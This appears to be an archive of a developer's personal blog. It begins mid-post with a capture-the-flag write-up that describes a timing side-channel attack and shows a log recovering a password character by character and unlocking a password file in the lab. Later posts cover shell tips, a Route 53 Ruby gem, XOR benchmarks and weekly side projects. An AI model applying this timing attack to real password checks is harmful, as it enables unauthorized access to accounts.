failed. Given that I was initially testing for the difference between 1
variable check and two and the precision of the ruby clock was only in
nanoseconds this failed right away.

Then I tried an implementation that already existed online simply to
see if they could work given that many of the servers were under heavy
load and actively running out of forks. But even the supposed solution
above failed to work for me as it seems to depend on the binary forking
and reporting failure almost immediately which I wasn't even able to
replicate locally.

Finally I settled on passing very large arguments to slow down the
evaluation, similar to the solution above. Then timed each char read in
microseconds via a small c program. The fork operation takes slightly
longer to run than a normal character check and therefore with
microsecond precision you can determine where the failure occurred.

This solution worked perfectly for me locally but I had to tune it on
stripe's servers in order to get it to work. I'm not sure if I was
reading the buffer incorrectly, the machine was overloaded or if my code
just runs in a way that I'm not expecting. Either way with some fine
tuning and extra sanity checks I was able to get it to run against the password file
and produce the answer.

level06@ctf5:/tmp/tmp.2eCZvV2CuJ$ ruby ruby_wrapper.rb
Suffix: 130772
{"t"=>4}
Answer: t
{"h"=>5}
Answer: th
{"e"=>5}
Answer: the
{"f"=>4}
Answer: thef
{"l"=>5}
Answer: thefl
{"a"=>5}
Answer: thefla
{"g"=>5}
Answer: theflag
{"l"=>5}
Answer: theflagl
{"0"=>4}
Answer: theflagl0
{"e"=>4}
Answer: theflagl0e
{"F"=>4}
Answer: theflagl0eF
{"T"=>5}
Answer: theflagl0eFT
{"t"=>5}
Answer: theflagl0eFTt
{"I"=>1, "T"=>5}
Answer: theflagl0eFTtT
{"5"=>5}
Answer: theflagl0eFTtT5
{"o"=>5}
Answer: theflagl0eFTtT5o
{"i"=>5}
Answer: theflagl0eFTtT5oi
{"0"=>4}
Answer: theflagl0eFTtT5oi0
{"n"=>5, "r"=>1}
Answer: theflagl0eFTtT5oi0n
{"O"=>5}
Answer: theflagl0eFTtT5oi0nO
{"T"=>5}
Answer: theflagl0eFTtT5oi0nOT
{"x"=>5, "e"=>1}
Answer: theflagl0eFTtT5oi0nOTx
{"O"=>5}
Answer: theflagl0eFTtT5oi0nOTxO
{"5"=>5}
Answer: theflagl0eFTtT5oi0nOTxO5
{}
Answer: theflagl0eFTtT5oi0nOTxO5

level06@ctf5:/tmp/tmp.2eCZvV2CuJ$ /levels/level06 /home/the-flag/.password theflagl0eFTtT5oi0nOTxO5
Welcome to the password checker!
........................
Wait, how did you know that the password was theflagl0eFTtT5oi0nOTxO5?

The Flag

You're able to login as the flag user but I couldn't find anything
special or a secret next level. Perhaps I didn't look hard enough?

the-flag@ctf5:/tmp/tmp.qCU4Sz2RhR$

Lightning Talk - Geekfest

2011-08-30T00:00:00+00:00

As part of Geekfest, a weekly chicago area meetup I gave a 5-minute lightning talk on some basic command line shortcuts. My outline and the commands are below.

#Introduction
#I'm Philip Corliss a Software Developer here at Groupon, while pairing and my partner is using the keyboard I'll often throw out requests for them to tab-complete, pipe to grep, or ESC-. They usually look at me like I'm crazy. This talk is designed to quickly outline a common scenario of parsing a log file or some other formatted file.

#What's this file
ls

#Whoah, watch this, if you're not familiar with tab completion you should be, it will make your life ridiculously easy. I for one can only spell the first three letters of most words at this point
less post....

#Lets take a look, binary huh? weird
less postal_codes.csv.gz

#Oh yea it's a gzip file, meaning it's compressed we could decompress it, but for this example lets pretend this compressed file is 1Gb and a 1:10 compression ratio that's 10Gb of data, we don't want to wait for that. So lets just look at it inline. Way faster
gzip ...

#Decompresses directly to STDOUT, great for working with the file
gzip -dc postal_codes.csv.gz

#Whoa, too much data, that doesn't really help us
^C

#What's that, it's a Pipe, it pipes stdout from one program to another
gzip -dc postal_codes.csv.gz |

#First 15 lines then it exits, no extra resources or IO consumed and we get a quick sample of data
gzip -dc postal_codes.csv.gz | head -15

#Lets cut this up alternative syntax in awk for multi-char delimeters awk -F'|' '{ print $3 ":" $4}'
gzip -dc postal_codes.csv.gz | head -15 | cut -d'|' -f3,4

#Lets sort it, get the unique values and count them and then sort numerically the results
gzip -dc postal_codes.csv.gz | head -15 | cut -d'|' -f3,4 | sort | uniq -c | sort -n

#Top 30 city/province pairs for canadian zipcodes, it takes some time so we'll cache it to a file
gzip -dc postal_codes.csv.gz | head -15 | cut -d'|' -f3,4 | sort | uniq -c | sort -n | tail -30

#Lets see how long it takes, and lets write it to a file
time gzip -dc postal_codes.csv.gz | cut -d'|' -f3,4 | sort | uniq -c | sort -n > ~/my_sweet_report.txt

#Use ESC-. to bring up last arg
less ~/my_sweet_report.txt

Route53 Updated

2011-05-30T00:00:00+00:00

I've just updated the route53 gem to support Amazon's latest additions including weighted resource record sets as well as zone apex support allowing assignment of ELB instances to roots of domains. It's like allowing a CNAME of the naked domain to an ELB instance which was previously unavailable to folks using EC2.

This is probably the most successful tool I've put together to date. With 75 watchers and 10 forks on github as well as over 2000 downloads and counting from rubygems. I look forwarding to continue improving the project and keeping up with the new features as Amazon releases them.

https://github.com/pcorliss/ruby_route_53

Quick Update

2011-05-28T00:00:00+00:00

It's been a while since I last posted. I decided talking about a job search while it was in progress was probably a bad move. After I finally got hired I found it more and more difficult to come home at night after a long commute and spend time working on my own projects. But after a recent move which significantly reduces my commute I'm ready to jump back in.

For those interested I started working as a Software Developer at Groupon in late January and I've been doing well. I turned down some great offers and interviews but in the end Groupon seemed to offer the biggest challenge. And in the lawyers made me say it category, while I do work for Groupon my opinions are my own as well as the code that I develop outside of the office.

Expect a new post about some upgrades to the route 53 gem to support some newly released features. As well as an rspec patch I put together to support running multiple specs via line ranges.

Ruby String XOR Optimizations

2010-12-28T00:00:00+00:00

As part of the LazyRaid project I spent a non trivial amount of time trying to develop an algorithm to perform an XOR operation in ruby against two blocks of data read from files. My initial try was a pure ruby implementation and was based off of some forum posts. These worked fine for small strings but when used on blocks of data larger than a few kilobytes it took an unacceptably long time.

#Initial XOR method from forums - http://www.ruby-forum.com/topic/175539
#0.627 Mb/s (All times are based on a single core of my development machine - i5 750 @ 2.67GHz)
def xor1(second)
  self.bytes.zip(second.bytes).map { |a,b| (a^b).chr}.join
end

At this point I started investigating writing a C extension to give the process a boost and eventually succeeded after a night of furious hacking. As you can see in the benchmarks below this was about a 2000x speedup and I decided to move on to other features. It wasn't until after the project was finished that I started wondering what sort of speedup I could get using a pure ruby implementation and if it would even be comparable to my naive first stab at a ruby C extension. So I started trying different methods out.

This next method avoids the bytes method and accesses each string char directly then converts them to their ordinal values performs the XOR and pushes it on to the string. More than a 2x speedup from the first implementation.

#1.589 Mb/s
def xor2(second)
  s = ""
  [self.size,second.size].max.times do |i|
    s << ((self[i] || 0).ord ^ (second[i] || 0).ord)
  end
  return s
end

Further refinement involves using the zip method to combine the strings as byte arrays resulting in some marginal speedups.

#1.881 Mb/s
def xor3(second)
  s = ""
  #s.force_encoding("ASCII-8BIT")
  [self.size,second.size].max.times.zip(self.each_byte.to_a,second.each_byte.to_a) do |i,a,b|
    s << (a ^ b).chr
  end
  return s
end

Enter the pack and unpack methods. Seemingly the quickest way to convert the string into byte arrays.

#2.613 Mb/s
def xor4(second)
  s = []
  self.unpack('C*').zip(second.unpack('C*')) {|a,b| s.push( (a||0) ^ (b||0) ) }
  return s.pack('C*')
end

I attempted the operation with unpack options larger than 1 byte. This works great for large data sets that have sizes evenly divisible by 8 bytes. The 0-7 bytes at the end will be ignored. Some extra code could probably be written to account for this. As the speedup is substantial and this represents the fastest ruby implementation I was able to produce.

#13.369 Mb/s
def xor5(second)
  s = []
  self.unpack('Q*').zip(second.unpack('Q*')) {|a,b| s.push( (a||0) ^ (b||0) ) }
  return s.pack('Q*')
end

And finally a more robust method that properly takes into account all sizes and differing lengths of strings. This implementation is essentially the same as xor4.

#2.605 Mb/s
def xor6(second)
  self.length > second.length ? (string1=self;string2=second) : (string2=self;string1=second)
  s = []
  string1.unpack('C*').zip(string2.unpack('C*')) {|a,b| s.push( (a||0) ^ (b||0) ) }
  return s.pack('C*')
end

In the end my fastest ruby implementation was still about 2 orders of magnitude slower than the C solution. I'm sure there's more room for performance improvements and I hope someone out there takes a look at this and finds a more optimal ruby only solution. Until then I'll likely start looking to C more often when I need to do some performance optimization. You can see the code used in this post as well as the C libraries used on github at https://github.com/pcorliss/Ruby-String-XOR-Optimizations

Note: Towards the end of preparing this post I came across the ruby gem fast_xor which is based on C like my solution. However fast_xor stands out since it runs at 5x the speed my implementation does. It's included in the benchmarks below and you should probably implement it if you're considering doing any non-trivial XOR work in your ruby application. Otherwise xor6 should be suitable for most use cases.

pcorliss@hawaii:~/projects/ruby_benchmarks$ ruby benchmark.rb 
Ensuring parity calculation is correct.
xor1:1d9d0030fe31415e1fa9dd8b7b782315
xor2:1d9d0030fe31415e1fa9dd8b7b782315
xor3:1d9d0030fe31415e1fa9dd8b7b782315
xor4:1d9d0030fe31415e1fa9dd8b7b782315
xor5:1d9d0030fe31415e1fa9dd8b7b782315
xor6:1d9d0030fe31415e1fa9dd8b7b782315
xorc:1d9d0030fe31415e1fa9dd8b7b782315
xor!:1d9d0030fe31415e1fa9dd8b7b782315
Performing Benchmarks
      user     system      total        real
xor1 10 times: 79.040000   0.440000  79.480000 ( 79.689313)
xor2 10 times: 31.410000   0.000000  31.410000 ( 31.467753)
xor3 10 times: 26.280000   0.240000  26.520000 ( 26.583489)
xor4 10 times: 18.690000   0.400000  19.090000 ( 19.136069)
xor5 10 times:  3.720000   0.020000   3.740000 (  3.740085)
xor6 10 times: 18.650000   0.500000  19.150000 ( 19.191539)
xorc 10 times:  0.040000   0.000000   0.040000 (  0.041738) #My C implementation
xor! 10 times:  0.000000   0.000000   0.000000 (  0.011803) #fast_xor gem
xorc 1000 times:  4.370000   1.390000   5.760000 (  5.785931) #My C implementation
xor! 1000 times:  1.160000   0.000000   1.160000 (  1.170025) #fast_xor gem

The Future of 50projects

2010-12-27T00:00:00+00:00

Over the last 5 months I've done a lot of work that I'm proud of. However the revenue and traffic has been far lower than even my most conservative estimates. I think I'm a decent software developer but I am not a marketer. At this point my finances are stable enough that I could continue doing 50projects for the entire year and then some but I just don't feel comfortable not collecting a paycheck. With that said I'll be starting a job search at the beginning of the new year. I've already put together a short of list of companies in the Chicago area I'll be pursuing. In addition I'm open to entertaining contract software development opportunities so please feel free to contact me if you know someone that is looking for a developer in the Chicago area or is open to telecommuting and/or light travel.

I'll post my resume shortly but my linkedin profile is a good approximation.

Until I accept a position I'll continue to do weekly projects and post the results on 50projects but the scope may be reduced as I go on interviews. Afterwards I may move to a more relaxed style of 2-4 week projects spread out over more than one year. But I fully intend to continue posting updates and releasing projects.

Festivus Greetings - Sunday

2010-12-27T00:00:00+00:00

Those looking at the posting time will note that this post is title "Festivus Greetings - Sunday" when it is in fact Monday morning. I neglected to write the post yesterday. However the final version went out Saturday afternoon.

You can take a look at ~~http://festivus.50projects.com/~~ Note: Taken down to save on costs

There are some issues with the webcam recording process that I've been unable to reproduce but others have run into. So please make sure to click the play button after you finish recording your message to ensure it looks okay. And when in doubt just reload the page and record again.

The backend on this turned out to be more complicated than I had hoped requiring the setup of a VPS server (Linode) to host a Red5 server. On the plus side I hadn't had the opportunity to work with Ruby enterprise edition or nginx before. Setup was a breeze after I got my bearings. I'm particularly impressed by REE's memory footprint for a single instance of my app (29Mb).

Code Coverage and Ruby Speed - Monday

2010-12-27T00:00:00+00:00

This week we'll be going in a slightly different direction. I'll be spending it going back and refactoring some previous projects to include test cases and do some refactoring, specifically the route 53 gem which has seen some moderate popularity since it was released as evidenced by the number of followers on the github page as well as the number of downloads from rubygems.

https://rubygems.org/gems/route53 (254 downloads)
https://github.com/pcorliss/ruby_route_53 (25 watchers, 5 forks)

This is in addition to a post I wanted to write on ruby and the great lengths you have to go to sometimes to get reasonable speeds. Specifically I'll go in depth to the speed boost gained from writing a C extension to the LazyRaid project to perform XORs. See this post for the original mention of the problem.

Festivus Greetings - Monday

2010-12-20T00:00:00+00:00

Prior to moving to Chicago I threw the wildest, most extravagant Festivus parties every year during the holiday season [citation needed]. We deep fried turkeys, had a toasty fire going, served copious amounts of alcohol and adhered to the strict traditions of a made up holiday. There was a poll which pictures were taken with, an airing of grievances and Festivus wasn't over until the host was pinned. Truly a marvelous holiday.

This year I'll be away from my friends in a strange city but I still want the Festivus cheer to be a part of my life. So this week's project will center around developing a site and backend components to allow people to post their Festivus greetings and grievances.

Project Summary: Website to allow users to view and post their festivus greetings.

Features:

Greeting Playback
Built in browser based webcam recording
RTMP stream handling to back browser based webcam recording
Youtube and Vimeo integration

Subject Content Aggregator - Sunday

2010-12-19T00:00:00+00:00

Initially this project was designed to be a method of attracting search engine traffic by aggregating popular content but I'm doubtful that it will attract enough traffic to generate significant revenue. Despite that it's up and running and pulling in content from multiple sources and for multiple subjects.

I'm not excited about the design. It definitely lacks any flare. But as far as basic features it does what it's supposed to. RSS aggregation, display of popular articles only, multiple subjects, etc..

You can check it out at http://aggie.50projects.com

Subject Content Aggregator - Monday

2010-12-13T00:00:00+00:00

Like a lot of people I have a handful of sites I like to visit on a daily basis. I had tried Google reader in the past and it allowed me to stay up to date on all of my favorite subjects but I found myself avoiding it because it was too much information. I just want a light taste of the subject, I don't have the time or the patience to become an authority on the subject.

That leads into this week's project, think of it like Google news with less customization and focused on specific topics. To start with I'll be selecting just two topics (video games & possibly sports) but building in functionality to support a quick build out of multiple topics in the future. Content will automatically be aggregated from multiple sources via RSS feeds, parsed, duplicate articles combined and posted to the site. The idea is to make this a completely automated process with zero-editorial oversight. Ideally this will lead to a way for people to get good content on specific subjects without having to rely on the delay of user moderated or editorially based content.

Project Summary: Customizable Content Aggregator and Presenter

Features

RSS feed reader/parser/poster
Text analysis for article relatedness
Potential jekyll integration for speedy page generation and low overhead
Multiple topics support allowing instant spinup of other topics
Backend dashboard for maintenance

Amazon Route 53 Interface - Friday

2010-12-10T00:00:00+00:00

After a few days of tweaking I'm happy to say that I've ferreted out all the obvious bugs and things are looking good. The ruby interface to Amazon's Route 53 can officially be called "Released". Complete with a command line interface as well as a module for inclusion in other ruby projects. All packaged up nice and neat in my first gem.

You can find the source and documentation at https://github.com/pcorliss/ruby_route_53

Bug reports should either go to me or to the Issues page on github.

If you already have the gem installed you'll want to run

sudo gem update route53

Otherwise

sudo gem install route53

Amazon Route 53 Interface - Wednesday

2010-12-08T00:00:00+00:00

An early prototype of the Ruby interface for Amazon's Route 53 is available on github and as the route53 gem. You can install the gem by typing the following.


gem install route53

There isn't any documentation and the ~~command line interface isn't done yet~~ but this should get folks started that want to create a zone or two along with some simple records.

https://github.com/pcorliss/ruby_route_53
https://rubygems.org/gems/route53

Edit: No longer a prototype http://blog.50projects.com/2010/12/amazon-route-53-interface-friday.html

Amazon Route 53 Interface - Monday

2010-12-06T00:00:00+00:00

Last night just as I was struggling to figure out which project I would work on this week I saw a post on Hacker News regarding Amazon's latest web services offering. Route 53 offers programmatic control of Amazon's globally based DNS service designed for a high volume of queries. At $1/domain/month with additional charges for high query volume it's questionable whether this service will take off for the general consumer market given that most domain registrars provide DNS for free already. However in the professional market where the needs for highly configurable, low TTL, low latency DNS services is necessary Route 53 could be a contender.

As the service was just released it doesn't have a generally usable front end. The getting started documentation has the user editing XML files to begin using the service. I'm uncertain if this is a deliberate attempt by Amazon to get the developer community to build the tools to interact with the service or just a function of the product being in beta mode still. Regardless I'm taking the bait.

Project Summary: Create an interface for Route 53

Features:

Ruby Gem based
Command Line Interface
Easy to Use Programmatic Control
Simple web front end

Edit: Early prototype of a ruby library for Amazon's Route 53 is now available

Edit 2: No longer a prototype http://blog.50projects.com/2010/12/amazon-route-53-interface-friday.html

Those Pesky Body Scanners - Saturday

2010-12-04T00:00:00+00:00

Friday was a bit of a blur as I tried to tie up all the loose ends with a project that crop up towards the end. Small bugs and minor features sneak in at the last minute and as you try to make it perfect the time slips away. I started at 9am yesterday and finished around 7pm with only a quick break for lunch. All the while I was only 30 minutes away from releasing.

The good news is that everything did indeed get sown up last night. And the Airport Security Index is now up and running. Please feel free to add new information and confirm or deny information already present. The interface is pretty simple, or at least I hope so, so you shouldn't have much trouble navigating the site.

The premise is simple. Each airport is listed with all reported security features. As folks use the site new security features will be listed and users will have the opportunity to either confirm or deny the presence of a body scanner. Additionally users can add missing information. There are some gaps right now as I could only get TSA provided information. But I'm hoping with a sufficient user base things will fill in more.

Link: http://airdex.50projects.com/

Challenges: Over all this project seems to have gone over pretty well. A slow start initially due to some technical challenges working through rails (what else is new) but Thursday and Friday were incredibly productive.

Those Pesky Body Scanners - Monday

2010-11-29T00:00:00+00:00

Back from vacation refreshed and ready to start on another project. This week I'll be working on a site to help travelers understand the security measures in place in airports and what their options are. For example I flew through Chicago's Midway airport and the Ft. Lauderdale airport on my trip and didn't encounter one of the now infamous backscatter x-ray machines. I did however get my hands swabbed and run through what I think was a gas spectrometer looking for chemical traces of explosives and saw a senior citzen getting patted down thouroughly by a TSA agent. This seems like information an informed flier may want access to prior to flying.

Project Summary: Develop a web app to provide information on specific airport security and TSA requirements.

Features:

Import a list of all airports world wide.
Track down passenger volume data for sorting purposes.
Allow users to provide updates.

Vacation Edition - Monday

2010-11-22T00:00:00+00:00

Part of the reason it's 50 projects instead of 52 projects is that I wanted to set aside 2 weeks for vacation. I'll see if I can post some pictures of the sights down in the Florida Keys.

Features
Suntan
Snorkeling
Seafood
Alliterations

Lazy Raid - Week 2 - Saturday

2010-11-20T00:00:00+00:00

Not the best week for me. I was able to integrate the Jerasure library into the existing LazyRaid code. However about 1 in 20 recovery attempts fail consistently. I spent Tuesday through Thursday troubleshooting the issue and wasn't able to track down the problem. I finished integrating it but a redundancy solution that only successfully recovers something 19/20 times isn't much of a redundancy solution. For now singly disk redundancy will have to be okay.

Additionally packaging the application for Windows has proven to be an issue as well. Tools like ocra and RubyScript2Exe don't want to work without major tweaking and I just don't have the patience. For now a separate branch will be available with the compiled windows .so library for the xor calculation. Compiling it was another amazing hassle. Ruby and windows just doesn't seem to mix.

So in summary no working significant code released this week. Plenty of non-working code is available on the jerasure branch on github though. https://github.com/pcorliss/LazyRaid/tree/jerasure (NOT FUNCTIONAL! do not use for production data)

Check the windows branch for the compiled dll and modified disk handling code. https://github.com/pcorliss/LazyRaid/tree/windows

Tomorrow I'll post the XOR speed comparison between ruby and the native C library I wrote to handle the XOR calculation.

Lazy Raid - Week 2 - Monday

2010-11-15T00:00:00+00:00

My partner is on vacation this week so I figured I'd take a little breather as well and instead of working on a fresh project it was time to refine this one some more.

I'll be targeting some big ticket features such as a GUI and double disk failure as well as some simpler stuff like unit tests and better error handling.

Features:

Double Disk Failure
Desktop GUI
Cross-Platform Distribution for Mac, Windows and Linux.
Unit Tests
Robust Error Handling

Lazy Raid - Sunday

2010-11-14T00:00:00+00:00

Sometimes technology is like magic. I wrote the underlying code for this program. I tested it, iterated over it, and added new features as I went. But still at the end of the day when I purposefully delete a file and then run the command to recover that file from the parity blocks and other files on different drives. I get positively giddy when the file reappears. It's like magic, except a well understood process that's merely being obscured behind a command line interface.

For testing purposes I created 3 drives of 5Gb each. Then placed on them some large files totalling about 5.3Gb in size. Then I added them to the LazyRaid configuration, told it to generate parity bits for the drives and it spit out about 2.7Gb of parity bits spread across all three drives. That's single drive redundancy using roughly 1/2 the required space. You can get even bigger space savings when using more drives (ParitySize = FileSize/(NumDisks-1)).

The code is available on github and will require you to compile a ruby C extension for your machine.
https://github.com/pcorliss/LazyRaid

Challenges:

Ruby is slow - I posted about some challenges mid-week with Ruby's lack of an XOR function for Strings. The code I posted was slow but workable for small datasets. However when working with files that can be up to 2Gb in size a slow XOR function just isn't going to cut it. I ended up writing a Ruby C extension to take care of the heavy lifting since it seems Ruby just wasn't up to the task. I'll post a little more with some speed comparisons next week. Perhaps I can stir up the hornets nest in the Ruby community to generate some traffic and perhaps a more elegant solution.

Features Missed:

Double Disk Failure Redundancy - RAID6 uses Galois field calculations to do parity calculations in addition to XOR calculations. Unfortunately I wasn't really up to the task of implementing that this week considering I was working only on basic functionality and struggling with Ruby speed limitations.
FUSE Integration - As the project moved forward integrating it into the OS seemed less important and I headed instead towards running it as a command line app.
Background Parity Calculations - I just ran out of time on this one. Although adding in some sort of IO monitoring and throttling wouldn't be too difficult it wasn't as high on the priority list as some of the other items.

Lazy Raid - Wednesday

2010-11-10T00:00:00+00:00

Things are coming along a little slowly but I felt I'd share the following code tidbit so others don't run into the same trouble I did.

class String
  def ^ (second)
    s = ""
    s.force_encoding("ASCII-8BIT")
    [self.size,second.size].max.times do |i|
      s << ((self[i] || 0).ord ^ (second[i] || 0).ord)
    end
    return s
  end
end

via http://www.ruby-forum.com/topic/95760

It looks like Ruby doesn't have the XOR function available for Strings. This causes some issues when you're working on computing parity blocks for binary data like I am. Further complicating matters is that there are several examples for computing XOR for strings but most of the posts on the subject are from prior to Ruby 1.9 which introduced new defaults for accessing Strings like they're arrays. Prior to Ruby 1.9 "foo"[0] would return 102 or the ASCII value of "f". Now it returns "f". Which is great because that's what most people probably expect. But all previous examples that relied on this behavior don't work.

Lazy Raid - Monday

2010-11-08T00:00:00+00:00

About 4 years ago I started collecting a lot of digital media. I'm going to skip over how this content was procured. At the time I was storing it on my desktop computer's hard drive and using XBMC to stream it to hacked original XBOX. It worked great until I started running out of disk space. So I bought a few more hard drives and everything was fine until those filled up. So I bought some external enclosures and more disks. Eventually those filled up too.

At this point I had an idea to build a client side program that would lazily create parity blocks across a disparate set of drives to maintain the drive's independence from one another and also create a small safety net in case one of the drives should fail. A very similar system to this already exists in a RAID-5 set, UnRAID and Drobo devices. But all of those rely on either a dedicated device or system. This would be an independent client that would run as a daemon on a host system. I spent a couple of weekends working on the project but never finished it. The software was written in Perl and I'm guessing was probably quite a mess given my standards today. This week I'll be starting fresh and hopefully finishing it off.

Project Summary: Build a RAID like system for storing data independent from the host system.

Features:

Single disk failure redundancy
Double disk failure redundancy
Background parity calculations
Consistency checks
FUSE integration

Abuse Server - Sunday

2010-11-07T00:00:00+00:00

Yesterday I put the finishing touches on AbuseJet and committed them to github. This project went exceptionally well with only minor bumps and bruises along the way. Features just seemed to fall in to place where previously I was worried this particular project was going to require burning the midnight oil. Instead it was all tied up by yesterday afternoon. I left myself a day to write this blog post and upload a working build.xml.

I'm particularly excited about a clever implementation of AbuseJet that would eliminate captchas except for bots and malicious users. For example a normal user would never see a captcha on your site while you use AbuseJet. But a malicious user or bot would create a few accounts using the same IP address and that would automatically trigger conditional captchas for all future data entry or user creations. Further abuse would trigger tarpitting and eventually blocking. Rendering that IP useless quickly. Meanwhile the built in reporting could be used to run a script to delete the content or optionally alert a human that spam is being created.

AbuseJet

Prevent DDOS attacks
Tarpit spam bots
Conditional captchas

https://github.com/pcorliss/AbuseJet

I also fixed an issue with EchoServer. Seems I had uploaded the .class files instead of the .java files. You folks need to keep me more honest :-)

https://github.com/pcorliss/Echo-Server

Abuse Server - Thursday

2010-11-04T00:00:00+00:00

I'm in the enviable position of having completed the bulk of the work for this project ahead of schedule. But the big features listed are running and working correctly. I've even gotten the initial prototype up on github.

https://github.com/pcorliss/AbuseJet

More work still needs to be done, documentation, alerts, reporting, etc....

In the meantime enjoy.

Abuse Server - Monday

2010-11-01T00:00:00+00:00

At a previous place of employment we had massive problems with abuse. Early on it was fairly rare since our platform wasn't as well known as something like drupal or wordpress. We started with inconsistent flare ups of abusive activity. Most of it wasn't even automated. Just a one or two users solving captchas and creating accounts then posting links to pharmaceuticals. Often the abusive activity was ignored since it wasn't visible and we didn't have any automated tools to handle bulk deletion of accounts or content. But after a while it became very visible. We started getting hit by a single ip creating thousands of pieces of content an hour. Cleanup took almost as long as it took to create the content and in some cases longer. After blocking the abusive IP we started getting hit from multiple IPs and soon we were getting hit by a botnet. The response was to put captchas on almost all of the content creation tools and put permanent blocks on the abusive IP addresses.

This week's project will center around countering abuse like this. I'll be developing an open source stand alone service that a company can plug into their architecture. I'll post the github link as soon as I've finished the first prototype.

Project Summary: Service which interacts with web services to help protect against abusive traffic.

Features:
Simple Restful Interface
Standalone Service
User Configurable Thresholds and Throttling
Alerts

Parsing Census Data For Fun and Profit - Thursday

2010-10-28T00:00:00+00:00

The numbers are in and according to my calculations using the 2000 census educational attainment data and the 2008 county election results.

Obama won 53.88% of the college educated vote
Obama won 53.68% of the vote overall

Not much of a correlation. And while we can't make assumptions about college education correlating with intelligence I think it's safe to say that people aren't morons just for voting for the republicans or democrats.

See my previous post for an explanation of the colors in the maps below.


2000 Census Educational Attainment


2008 Presidential Election


Election Education Composite

Parsing Census Data For Fun and Profit - Tuesday

2010-10-27T00:00:00+00:00

Some early results from working with census and election data. The first two graphs represent the 2008 presidential election where blue represents Obama and red represents McCain. The second graph represents people over the age of 25 who have had at least some college education.

The third graph is a composite of the two. Light blues and orange represent a high percentage of education and a bias towards one candidate or the other. While dark blues and reds represent relatively low levels of education along with bias towards one candidate or another. I'll provide some numbers showing any actual correlation with educational attainment and voting later on in the week.


2000 Census Educational Attainment


2008 Presidential Election


Election Education Composite

Parsing Census Data For Fun and Profit - Monday

2010-10-25T00:00:00+00:00

Something that I've been missing since leaving my last job has been the opportunity to parse large data sets and pull out meaningful information. At Wetpaint I was able to write scripts and hadoop jobs to parse gigabytes of access logs. My efforts were directly responsible for identifying and removing abuse from the system as well as highlighting bottlenecks that weren't apparent at first glance. That's why this week I'll be focusing on parsing and presenting large quantities of data. First step will be parsing US Census data and providing detailed maps correlating things like education, race and income with the 2008 presidential election. Afterwards I'll move on to building out some infographics for easy digestion and consumption.

Project Summary: Develop Infographics using US Census Data

Features:

Parsed US Census Data
Queryable Database
Graphical Output in Vector Format
Pretty Infographics

PuzzleHire - Sunday Week 2

2010-10-24T00:00:00+00:00

Signed, sealed and not quite delivered. The site is finished and working to my satisfaction but I'll be shelving it for now in favor of waiting for a point where I can devote more marketing resources to it. It has potential but requires a critical mass of puzzles, developers and recruiters to be viable. I'll keep you folks updated.

In the meantime watch out for tomorrows post. All signs point to large scale data processing with hadoop.

PuzzleHire - Monday Week 2

2010-10-18T00:00:00+00:00

The project continues, I finished up the templating of the basic app last night. All major functionality and the backend is complete. This week we'll see further refinement into a full realized product. Stay tuned for screenshots, demos and more information on what this site is all about.

Puzzle Hire - Monday

2010-10-11T00:00:00+00:00

One of the more embarrassing experiences I've had during my career was interviewing a candidate that was unable to implement a loop to print out the numbers 1 to 100. I had read this person's resume, conducted a phone screen and recommended they be brought in for an interview loop. I also had to ask him to leave after the first round of the interview as this person clearly wasn't going to be able to perform the required job function. I vowed there and then that I was never going to let a candidate dupe me like that. I had to stop taking candidates with "2 years of shell and Perl scripting experience" at face value and verify it or distribute homework problems.

But there has to be a better way and that's where this week's project comes into play. What if you could verify coding ability, see code samples and contact an already existing set of job seekers? Or what if you are a job seeker looking for work, wouldn't it be great to complete a few coding puzzles, mark yourself as available for hire, and then get contacted by recruiters or companies looking for someone with your skills?

This particular project may be split later in the week and extended into a two-part project as the scope is fairly large at this point. In the meantime I'm also going to concentrate more on the core application and less on monetization right now.

Project Summary: Build a site where developers can complete puzzles similar to Google Code Jam or Ruby Quiz and companies can contact interested candidates and view code samples.

Planned Features:

Large corpus of programming puzzles
Input/Output data sets similar to google code jam
Messaging system to protect user privacy from recruiters
Github and Stack Overflow reputation integration
Plagiarism Detection
User Submittable Puzzles

The Big Game - Sunday

2010-10-10T00:00:00+00:00

Video games in my teenage years were a passion for me. I spent a week living out what one might describe as my adolescent dream. And I even succeeded in developing my first game from start to finish. It's text based, it's unconventional and unfortunately it's incredibly boring. But at the very least I've finished building all of the essential game mechanics. I just failed to make it terribly interesting or worth playing. With more work it may be salvageable. But this project definetly falls into the failure category despite work being completed.

On a positive note it was fun to build out an interactive system and see a world built procedurally from a seeded random number generator. I have a new found respect for game developers. Especially the smaller indie developers trying to make it in an arena dominated by the behemoths like EA.

Tomorrow I'll outline the next project. For now we'll be going back to web apps and I'm considering jumping in with both feet into yet another framework, Django. We'll see how that turns out.

The Big Game - Monday

2010-10-04T00:00:00+00:00

Perhaps you were like me as a kid, good with computers, chalked full of a false sense of confidence, and played too many video games. This naturally left you wanting to build a video game of your own. However you had no prior experience programming and only a vague sense that you might need a compiler for something at some point. Regardless you got to work with your graph paper and started designing levels and features with your friends. The harsh realization that building a game was a lot of hard work and required some fundamentals that you might not have developer yet showed up later.

I'll let you folks in on a secret, I've never actually built a game. Not even a space invaders clone. I've started several over the years, but I've never actually gotten close to completing one. I've been kicking around an idea for a simple game. The focus will be on play rather than graphics and may even be text based. It likely won't make money, it may not even be fun, but at the very least it will be fun to try my hand at game development.

More details on exactly what the game will entail will come later in the week.

Project Summary: Build a fun, playable game. Fun optional.

Features

Rudimentary Graphics
Text Based Interface
Replayability
Keep in mind portability to mobile and web platforms.

API/SaaS Wrapper - Sunday

2010-10-03T00:00:00+00:00

Released! After a quick review Saturday with some changes and refactoring to whip my mega-methods into more manageable short chunks (thanks Jana!) it was ready to go. However at this time I don't want to open-source the code and I don't have a cohesive plan to market it. However if you're interested in testing it out or want to implement in your business please let me know, I'd be happy to provide a free trial in exchange for some feedback.

A few things that went better than expected

By Tuesday I had a working proxy of flickr's API. After that it was as simple as taking on a new set of features each day and polishing the others into something more consistent. For a project that seemed monumental at the start it came together surprisingly well.
I decided to open source a small project I put together Saturday morning to help with testing. It echos back some information on the request and allows you to specify what content type, status code and content you want it to echo back to you. Check it out on github http://github.com/pcorliss/Echo-Server

Challenges

There was a slight issue with the initial configuration and setup. I ended up opting to spend my time coding instead of configuring so I fired up eclipse's Google App Engine (GAE) plugin and got started quickly. GAE apps are largely portable except for the memcache service which will need a small change to run on a different platform. This actually makes it a selling point for smaller startups because it means they could get up and running quickly without having to purchase servers or do much setup besides configuring a CNAME.
The project's market was murky at best at the beginning of the week. And I'm still not sure who I'll sell it to or if it would be better off being open sourced. I think it's definitely ready to be put into production, or at least into heavy load-testing. But I don't think setting up a server and running on a freemium model is the right plan at the moment.

Features Missed

